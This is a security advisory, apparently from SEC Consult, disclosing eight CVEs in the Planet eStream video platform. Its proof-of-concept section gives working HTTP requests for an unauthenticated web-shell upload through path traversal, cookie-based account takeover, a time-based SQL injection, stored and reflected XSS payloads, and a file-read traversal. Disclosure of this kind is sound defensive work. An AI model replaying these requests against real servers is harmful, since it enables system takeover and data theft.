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CVE-2022-45892: Multiple critical vulnerabilities in Planet Enterprises Ltd - Planet eStream

In Planet eStream before 6.72.10.07, multiple Stored Cross-Site Scripting (XSS) vulnerabilities exist: Disclaimer, Search Function, Comments, Batch editing tool, Content Creation, Related Media, Create new user, and Change Username.

CVE
#sql#xss#vulnerability#web#mac#windows#microsoft#dos#js#java#rce#perl#acer#auth#ssl

Planet eStream contains multiple critical vulnerabilities which can be used by an unauthenticated attacker to upload arbitrary files. As a result, an attacker can execute arbitrary code and completely take over the system. Moreover, the vulnerabilities allow an attacker to take over arbitrary user accounts with administrative privileges, to access administrative functions without the proper privileges, to access the database, to execute arbitrary JavaScript code in the context of the web application in the victim’s browser, to read files from the underlying file system, and to access sensitive information which are disclosed by the application.

Vendor description

“Planet eStream is a powerfully simple and secure video platform, making media more accessible and engaging for students and educators across secondary, further, and higher education”

Source: https://www.planetestream.co.uk

**
Business recommendation**

The vendor provides an update for the affected version which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the Planet eStream video streaming platform conducted by security professionals to identify and resolve potential further security issues.

**
Vulnerability overview/description****1) Upload of Arbitrary Files Leading to Remote Code Execution (CVE-2022-45896)**

The application allows users to upload files at multiple places. It was identified that it is possible to upload arbitrary malicious files without any restriction and also without prior authentication! An attacker can upload a webshell and takeover the system.

**

  1. Account Takeover (CVE-2022-45893)**

A problem identified in the cookie and session management of the web application allows users with low privileges to bypass the authentication and authorization mechanisms. They can be bypassed by changing the value of the ON cookie. In this way, users with low privileges can gain access to application features that are only accessible to administrative and privileged users.

**

  1. Broken Access Control (CVE-2022-45891)**

Due to flaws in the authorization scheme, an authorization bypass vulnerability allows an attacker to get access to restricted functions of the web application. This can be leveraged to upload files to the web server without authentication and gain access to restricted content that was uploaded by other users.

**

  1. SQL Injection (CVE-2022-45889)**

Due to insufficient input validation, the application allows the injection of direct SQL commands. By exploiting the vulnerability, an attacker gains access to all records stored in the database and can execute arbitrary SQL commands.

**

  1. Multiple Stored Cross-Site Scripting (XSS) (CVE-2022-45892)**

User input is not properly sanitized or encoded in various places. This leads to several stored cross-site scripting (XSS) vulnerabilities. By exploiting this vulnerability, an attacker can persistently embed arbitrary HTML or JavaScript code into the affected web page. The code is executed in the context of the victim’s browser when visiting the manipulated site. Additionally, users are potential victims of browser exploits and JavaScript trojans.

**

  1. Reflected Cross-Site Scripting (XSS) (CVE-2022-45890)**

One of the application scripts returns unfiltered or unescaped user input. This leads to a reflected cross-site scripting (XSS) vulnerability. With reflected cross-site scripting, an attacker can inject arbitrary HTML or JavaScript code into the victim’s web browser. Once the victim clicks a malicious link, the attacker’s code is executed in the context of the victim’s web browser. The vulnerability can be used to change the contents of the displayed site or redirect to other malicious sites. Additionally, users are potential victims of browser exploits and JavaScript trojans.

**

  1. Path Traversal (CVE-2022-45894)**

Attackers can gain access to files and directories outside the web root through the use of relative file paths. In this case an authenticated attacker with any role can inject “…\” sequences into a certain URL parameter in order to navigate through the file system and access local files.

**

  1. Information Disclosure (CVE-2022-45895)**

Parts of the application were discovered that disclose sensitive data to application users. While securely disclosing necessary information to authorized users will normally not present a security threat, the identified components disclose sensitive data that belongs to other users.

**
Proof of concept****1) Upload of Arbitrary Files Leading to Remote Code Execution (CVE-2022-45896)**

Various file upload vulnerabilities were identified in the web application. The following sections describe the vulnerabilities in detail.

The file upload is restricted to certain file types in some cases. This restriction is only enforced in the frontend and can be bypassed by intercepting the request and modifying it. There is no further validation of uploaded files in the backend. Therefore, it is sufficient to change the filename ending in the intercepted request.

****a) File Upload with Path Traversal****

An authenticated attacker with the permission to attach documents to already existing content (e.g. videos) can upload any file. In some cases, the role Member is sufficient. Under “Categories -> choose a video -> related Media” a new malicious file can be uploaded.
The following POST request is sent to the server when a normal PNG file is uploaded:

POST /Upload2.ashx?f=seclogo.png&c=0&l=53134&t=1662103112126&p=\Temp&ut=0&tc=0&bs=53134&ct=1662103112126 HTTP/2
Host: $host
Cookie: [...]

‰PNG
[...]

Based on the previous POST request to upload files, the request can be manipulated to upload any content to any directory by using path traversal techniques. The following code shows the modified request. The content is changed from a PNG image to an ASP web shell. The filename ending is changed to asp and the path is inserted into the p parameter, which is vulnerable to path traversal.

POST /Upload2.ashx?f=webshell.asp&c=0&l=1024&t=1661943922096&p=..\$path\&ut=0&tc=0&bs=1024&ct=1661943922097 HTTP/2
Host: $host
Cookie: [...]

$ASPWEBSHELL

As the following response shows, the file is being processed by the web server:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Date: Fri, 02 Sep 2022 07:16:11 GMT
Content-Length: 12

progress:100

The web shell can now be accessed via the following URL:

https: //$host/$path/webshell.asp

An attacker now has the possibility to execute any command in context of the web server. Therefore, the web server is completely compromised.

As described in chapter 3) Broken Access Control, section a) an unauthenticated file upload is possible if the attacker knows the correct request.

****b) General Upload****

An authenticated attacker with the permission to upload documents (role editor, publisher or admin) can upload any file. Under “Create -> Upload -> Upload Document” a new malicious file can be uploaded.

i) ASP Web Shell

After choosing the malicious file for the file upload the following POST request is sent to the web server:

POST /Upload2.ashx?f=cmdasp.asp&c=0&l=1024&t=1661939611305&p=PreConversionMedia\&ut=0&tc=0&bs=1024&ct=1661939611305 HTTP/2
Host: $host
Cookie: [...]
Content-Length: 1024

$ASPWEBSHELL

As the following response shows, the file is being processed by the web server:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Date: Wed, 31 Aug 2022 09:53:31 GMT
Content-Length: 12

progress:100  

To finish the upload of the malicious file, an attacker simply needs to click the “Start Upload” button that becomes visible in the web interface. After starting the upload, the following POST request is sent to the web server.

POST /Ajax.asmx/ProcessUpload2 HTTP/2
Host: $host
Cookie: [...]
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 538

{"fn":"webshell.asp","ppid":1,"isprivate":1,"showera":0,"catsinc":"","catsexc":"","retainsource"
:0,"copyonly":0,"mediaprofile":"0","fieldvalues":"[{\"FieldID\":1,\"Type\":\"txt\",\"FieldValu
e\":\"webshell\"},{\"FieldID\":2,\"Type\":\"txt\",\"FieldValue\":\"\"},{\"FieldID\":7,\"Type\":\
"ddl\",\"FieldValue\":\"4\"},{\"FieldID\":10,\"Type\":\"txt\",\"FieldValue\":\"\"},{\"FieldID\
":14,\"Type\":\"ddl\",\"FieldValue\":\"-1\"},{\"FieldID\":16,\"Type\":\"txt\",\"FieldValue\":\
"\"}]","mobiledevice":false,"rt":10,"filenameastitle":0,"expiry":""}  

The response of the web server discloses the new generated filename 8273~4u~vE7bUON0 as shown below.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Wed, 31 Aug 2022 09:53:31 GMT
Content-Length: 541

{"d":"{\"Success\":true,\"ClipDataID\":8273,\"Position\":null,\"TotalJobs\":0,\"Message\":\"Element
bereit\",\"CopyOnlyFail\":false,\"ViewURL\":\"https: //$host/View.aspx?id=8273~4u~vE7bUON0\",
[...]
}

After the filename is known the web shell can now be accessed via following URL:

https: //$host/content/8273_4u~vE7bUON0.asp

An attacker now has the possibility to execute any command in context of the web server. Therefore, the web server is completely compromised.

ii) Malicious HTML File

After choosing the malicious file, the following POST request is sent to the web server:

POST /Upload2.ashx?f=secconsult.html&c=0&l=102&t=1661947994372&p=PreConversionMedia\&ut=0&tc=0
&bs=102&ct=1661947994373 HTTP/2
Host: $host
Cookie: [...]
Content-Length: 1024

<!DOCTYPE html>
<html>
<body>
<h1>SEC Consult Webpage</h1>
<p>hosted by $host</p>
</body>
</html>

As the following response shows, the file is being processed by the web server:

HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
Date: Wed, 31 Aug 2022 12:13:13 GMT
Content-Length: 12

progress:100

To finish the upload of the malicious file, an attacker simply needs to click the “Start Upload” button which pops up in the web interface. After starting the upload, the following POST request is sent to the web server:

POST /Ajax.asmx/ProcessUpload2 HTTP/2
Host: $host
Cookie: [...]
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 539

{"fn":"secconsult.html","ppid":1,"isprivate":1,"showera":0,"catsinc":"","catsexc":"","retainsou
rce":0,"copyonly":0,"mediaprofile":"0","fieldvalues":"[{\"FieldID\":1,\"Type\":\"txt\",\"Field
Value\":\"secconsult\"},{\"FieldID\":2,\"Type\":\"txt\",\"FieldValue\":\"\"},{\"FieldID\":7,\"T
ype\":\"ddl\",\"FieldValue\":\"4\"},{\"FieldID\":10,\"Type\":\"txt\",\"FieldValue\":\"\"},{\"F
ieldID\":14,\"Type\":\"ddl\",\"FieldValue\":\"-1\"},{\"FieldID\":16,\"Type\":\"txt\",\"FieldValue
\":\"\"}]","mobiledevice":false,"rt":10,"filenameastitle":0,"expiry":""}

The response of the web server discloses the new generated filename 8278~4z~b2w2tWQF as shown below.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Wed, 31 Aug 2022 12:13:14 GMT
Content-Length: 545

{"d":"{\"Success\":true,\"ClipDataID\":8278,\"Position\":null,\"TotalJobs\":0,\"Message\":\"Element
bereit\",\"CopyOnlyFail\":false,\"ViewURL\":\"https: //$host/View.aspx?id=8278~4z~b2w2tWQF\",
[...]
}

The HTML webpage can now be accessed via following URL:

https: //$host/content/8278_4z~b2w2tWQF.html

An attacker now has the possibility to infect the user’s browser with JavaScript to execute any command in the context of the web server or can host webpages for phishing attacks on the server of the Planet eStream instance.

**

  1. Account Takeover (CVE-2022-45893)**

An authenticated attacker with the role Member or Bypass can elevate their privileges by changing the ON cookie value. An attacker can easily brute force the value of the cookie due to the low entropy of the cookie or search for leaked cookie values in the web application as described in chapter 8) Information Disclosure, section a).

Based on the format of the cookie the following pattern was used to generate possibly valid cookies.

[0-1][AZ]~[azAZ][azAZ]

To verify the vulnerability an authenticated session is required. Sessions that are created by opening a sharing link to bypass authentication are sufficient. Therefore, an attacker doesn’t necessarily need a valid user account with valid credentials to gain privileged access. To abuse the vulnerability, an attacker can use the browser developer tool to permanently change the value of the ON cookie. By changing the value of the ON cookie for example to $VALID_COOKIE, the current privileges are set to the privileges of the original user who has the ON cookie $VALID_COOKIE.

An attacker can gain administrative privileges and access other accounts by obtaining valid ON cookies for the respective accounts through brute force or information disclosure.

One essential aspect is that the ON cookie is persistent and never changes, not even between sessions. Therefore, an attacker has permanent access to elevated privileges or other user accounts once a valid ON cookie is identified.

3) Broken Access Control (CVE-2022-45891)****a) Unauthenticated Upload

As described in chapter 1) Upload of Arbitrary Files Leading to Remote Code Execution an attacker has the possibility to upload arbitrary files. Once attackers know the correct POST request to upload files, they can repeat the same request without prior authentication and successfully upload arbitrary files. To verify the vulnerability the following request can be sent unauthenticated (without cookies) to the web server.

POST /Upload2.ashx?f=unauthenticated.txt&c=0&l=30&t=1662047867388&p=..\..\&ut=0&tc=0&bs=30&ct=1662047867388 HTTP/2
Host: $host

SEC Consult - upload

As the following response shows, the file is being processed by the web server:

HTTP/2 200 OK
Date: Mo, 19 Sep 2022 08:10:44 GMT
Content-Length: 12

progress:100

The unauthenticated file upload was verified by identifying the file unauthenticated.txt on the server. In conclusion, this vulnerability exacerbates the risk of the file upload vulnerability. It increases the likelihood of exploitation since it enables an attacker to upload files without authentication.

b) Access Grant List

An attacker needs to be authenticated with the role Member or Bypass to exploit the vulnerability. The vulnerability allows an attacker to modify the access list and grant himself access to private videos. Additionally, an attacker can make any video unavailable to other users by changing the access grant list. The vulnerability also applies to other content on the platform.

To verify the vulnerability a video with restricted access is created. It can be accessed under the following URL:

https: //$host/View.aspx?id=1337~4u~vE7bUKN5

By executing the POST request shown below, an attacker can add himself to the access grant list and gain access to the private video.

POST /Ajax.asmx/SaveGrantAccessList HTTP/2
Host: $host
Cookie: [...]
Content-Type: application/json; charset=utf-8
Content-Length: 65

{"cdid":"1337","data":"[{\"Address\":\"[email protected]\",\"CanEdit\":true}]"}

The server responds with a status code 200 successful.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Date: Thu, 01 Sep 2022 10:20:58 GMT
[...]
Content-Length: 75

{"d":"{\"Success\":true,\"Message\":\"Access list updated successfully\"}"}

The user with the e-mail address [email protected] has been added to the access grant list and can view the private video with the ID 1337.

The vulnerability can also be leveraged to block access to the video for other users (Denial-of-Service) by adding any malicious content “malicious_payload” instead of the valid e-mail address.

**

  1. SQL Injection (CVE-2022-45889)**

To demonstrate this vulnerability access to the search functionality in the statistic interface is required. An authenticated attacker with the role Publisher or Admin can use the following GET request to reproduce the vulnerability.

GET /Stats/StatisticsResults.aspx?q=viewingday&p1=20220831&p2=&db1=stats&db2=clipdata&flt=+s_RecordTypeID+IN+(1)+;WAITFOR+DELAY+'0:0:5'-- HTTP/2
Host: $host
Cookie: [...]

The resulting response took more than five seconds. Thus it can be concluded that an SQL injection is present. Furthermore, exploitation by the tool sqlmap was possible and lead to a successful extraction of the complete backend database.

5) Multiple Stored Cross-Site Scripting (XSS) (CVE-2022-45892)****a) Disclaimer

An attacker needs to be authenticated with the role Admin to exploit the stored XSS vulnerability. The vulnerability will be executed afterwards for each user who logs into the web application. To verify the issue, an attacker needs to modify the disclaimer of the cookie description. In the admin section the system options can be modified to change the disclaimer text.

https: //$host/Admin/SystemOptions.aspx?disclaimer=1

By clicking the Source button, an admin user can inject a malicious payload.

<img src=x onerror=javascript:alert(location.origin)//">

After saving the modified disclaimer text, the payload is executed by visiting different parts of the application. If a user visits the MyHome tab the payload is triggered in the browser. The payload is also executed if a user hasn’t accepted the disclaimer text yet, which is true for any new user.

b) Search Function

An attacker needs to be authenticated with the role Member to exploit the stored XSS vulnerability. The vulnerability will be executed afterwards for each user, who inspects the statistic view provided by the web application. To verify the issue, an attacker can search for following malicious payload that is then automatically stored in the database.

<img onerror="javascript:alert(location.origin)" src="abcdef";//<

Afterwards, the malicious payload is triggered if a user lists the statistical data for the Search Breakdown in the last seven days.

c) Comments

An attacker needs to be authenticated with the role Member to exploit the stored XSS vulnerability. The vulnerability will be executed afterwards for each user, who visits the content element that contains the malicious comment. To verify the issue, the following malicious payload can be injected into the public or private comment field.

<img onerror="javascript:alert(location.origin)" src="abcdef";//

d) Batch editing tool

An attacker needs to be authenticated with the role Admin to exploit the stored XSS vulnerability. The vulnerability will be executed afterwards for each user, who visits the modified content. To verify the issue, an attacker needs to modify the owner of the content. In the search section the admin has the possibility to use the Batch-Editing tool.

https: //$host/Default.aspx?search=consult&o=8&page=1&fp=0&report=1&rlt=0

By selecting the action Change owner, an admin user can inject a malicious payload in the user input box.

<img src=x onerror=javascript:alert(location.origin)//">

After injecting the malicious payload, the XSS payload is executed when the content element is visited or when it appears in search results.

https: //$host/Default.aspx?search=8298
https: //$host/View.aspx?id=8298~4B~dpa3P9mb&psid=136

e) Content Creation

Permission to create content within the web application is required. Thus, an attacker needs to be authenticated with the role Editor, Publisher, or Admin to exploit the vulnerability. The issue can be verified by placing malicious HTML code in the title input field of the content creation dialog window. For this the following malicious payload can be used:

<img src='x' onerror='javascript:alert(location.origin)' style='

When the content creation progress is finished, the JavaScript code is permanently stored in the web application. It will trigger in every browser that visits webpages that lists the modified item (for example, under the category view, search results and content list). The following content upload possibilities are affected by this vulnerability:

  • Upload Video or Audio files
  • Upload Documents
  • Add External Links
  • Playlist
  • Photoset

f) Related Media

HTML code can be injected in the title of the related media upload. Editing access to the content is required. This is normally the case for the users with the role Editors, Publishers or Admins. The malicious code can be injected in the title of the related content. To validate the vulnerability a new file must be uploaded in the related media tab. The next step is to change the filename to inject the malicious HTML and JavaScript code.

<img src='x' onerror='javascript:alert(location.origin)'photo.png

When the title including the malicious payload is saved and the page reloaded, the payload within the title will be executed. The new title is stored in the web application along with the malicious HTML code. It will execute in any browser that visits the content item. Opening the related media tab is not necessary.

g) Create new user

An attacker needs to be authenticated with the role Admin to exploit the stored XSS vulnerability. The vulnerability will be executed afterwards for admin users in the user section and for the created users once they are logged in. To verify the issue, an attacker needs to create a new user. Under Tools -> Admin -> Users, Permissions, Authentication -> Users the admin has the possibility to create new users.

https: //$host/Admin/EditUser.aspx

The following malicious payload was added to the Full Name input field:

<script>alert(location.origin)</script>

After creating the new user, the malicious payload gets executed once the new user logs in or the admin visits the user section (Tools -> Admin -> Users, Permissions, Authentication -> Users).

h) Change Username

A cross-site scripting vulnerability can be found under https: //$host/MyHome.aspx where a user can edit the name shown on his home page. All authenticated users can access home pages of other users and are thus affected by this vulnerability. Furthermore, the vulnerability can be exploited by an authenticated user of any role. The following request was used to change the username.

POST /Ajax.asmx/SaveLayoutData HTTP/2
Host: $host
Cookie: [...]
Content-Length: 360
Content-Type: application/json; charset=UTF-8
[...]

{"id":$ID,"layoutdata":"[{\"title\":{\"enabled\":true,\"text\":\"test<img
src='x' onerror='alert(location.origin)'\",[...]

The request is accepted by the web application as shown below:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 92

{"d":"{\"Success\":true,\"Message\":\"Layout erfolgreich gespeichert\",\"HTML\":
[\"455\"]}"}

Sending the request directly bypasses the check for special characters like < or > that exist in the frontend. The malicious username string is embedded on the website and will execute when it is opened in the browser in any subsequent request.

**

  1. Reflected Cross-Site Scripting (XSS) (CVE-2022-45890)**

An attacker needs authenticated access to the web application with the role Member or higher to identify and exploit the vulnerability. To identify this vulnerability, it is sufficient to open the following URL (no special manipulation of the request is needed) and analyze the HTTP response from the web server:

https: //$host/Default.aspx?search=test&page=1&fp=0&r=(0_7_0_%3Ch1%3ESEC%20Consult%3C/h1%3E__)

The string SEC Consult is embedded in the webpage of this URL. The next step is to identify a working payload which triggers the cross-site scripting vulnerability. To verify the vulnerability, it is sufficient to open the following URL:

https: //$host/Default.aspx?search=*&o=8&page=1&fp=0&r=(0_7_0_%3Cscript%3Ealert(location.origin)%3C/script%3E__)

Another working payload for the fo parameter was identified:

https: //$host/Default.aspx?search=*&fo=%3Cimg%20onerror=%22javascript:alert(location.origin)%22%20src=%22abcdef%22;//

It must be mentioned that all metadata filter fields are affected by this vulnerability.

**

  1. Path Traversal (CVE-2022-45894)**

An attacker authenticated with the role Member can navigate to the vulnerable URL path provided below and inject “…\” sequences to move up directories on the web server and access local files. Simply navigating to the link with the injected path traversal payload an attacker can download any file on the web server and read its contents. To verify the vulnerability the file NetSetup.LOG which contains details of the entire process of joining the domain was downloaded. The following URL was used:

https: //$host/GetFile.aspx?file=/image/..\..\..\..\..\..\..\..\..\..\Windows\debug\NetSetup.LOG

**

  1. Information Disclosure (CVE-2022-45895)****a) ON cookie**

The information disclosure of the ON cookie was identified on three different pages of the web application. Since the cookie can be used to access other user accounts with elevated privileges, it comprises highly confidential information. It is embedded in the web application’s response in different ways and there are always multiple cookies for different users in the response. Requests to obtain the sensitive information can be performed with authentication as arbitrary user.

The ON cookie was embedded in three pages that are accessible under the following paths:

  • /Default.aspx?catid=69 (HTML)
  • /Default.aspx?search=*&o=8&page=1&report=1&rlt=0&export=1&t=1661787629149 (CSV)
  • /GetJson.aspx?t=1&display=3&data=69&source=2&o=8&title= (JSON)

As an example the ON cookie leakage is shown in the HTML response. The cookie value can be identified in the href and src attributes of the a element ($VALID_COOKIE).

[...]
<div><a title="Open Media" tabindex="-1" href="/View.aspx?id=228~$VALID_COOKIE">
<img title="228" data-alt-src="" src="/Media/Images/ClipData/228_$VALID_COOKIE.jpg"/></a>
[...]

b) WhoAmI

The sensitive data comprises internal information that lets an attacker gain deeper knowledge about the application. To verify the vulnerability, it is sufficient to request the following URL as authenticated user (any role):

https: //$host/WhoAmI.aspx

An excerpt of the disclosed information is shown:

<div [...]>APPL_MD_PATH</div>[...]/ROOT
<div [...]>APPL_PHYSICAL_PATH</div>c:\inetpub\[...]\
<div [...]>LOCAL_ADDR</div>172.0.0.5
<div [...]>PATH_TRANSLATED</div>c:\inetpub\[...]\WhoAmI.aspx
<div [...]>REMOTE_ADDR</div>172.0.255.6
<div [...]>SERVER_PORT</div>443
<div [...]>SERVER_PROTOCOL</div>HTTP/1.1
<div [...]>SERVER_SOFTWARE</div>Microsoft-IIS/9.0
<div [...]>Enable New UI</div>-1
<div [...]>Enable New UI (Schema)</div>False
<div [...]>Prop.OnMobileDevice</div>0
<div [...]>UID</div>228
<div [...]>Prop.MachineName</div>[...]
<div [...]>Demo Server</div>False

Vulnerable / tested versions

The vulnerabilities have been found in version 6.72.07.04.

**
Vendor contact timeline**

Solution

The vendor rolled out a new software version. Affected users should verify that they are using the latest version available v6.72.10.07 which fixes all identified security issues according to the vendor.

**
Workaround**

None

Advisory URL

https://sec-consult.com/vulnerability-lab/

EOF T. Vogel, P. Espernberger / 2022

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Related news

CVE-2022-45896

Planet eStream before 6.72.10.07 allows unauthenticated upload of arbitrary files: Choose a Video / Related Media or Upload Document. Upload2.ashx can be used, or Ajax.asmx/ProcessUpload2. This leads to remote code execution.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

Planet eStream Code Execution / SQL Injection / XSS / Broken Control

Planet eStream versions prior to 6.72.10.07 suffer from shell upload, account takeover, broken access control, SQL injection, both persistent and reflective cross site scripting, path traversal, and information disclosure vulnerabilities.

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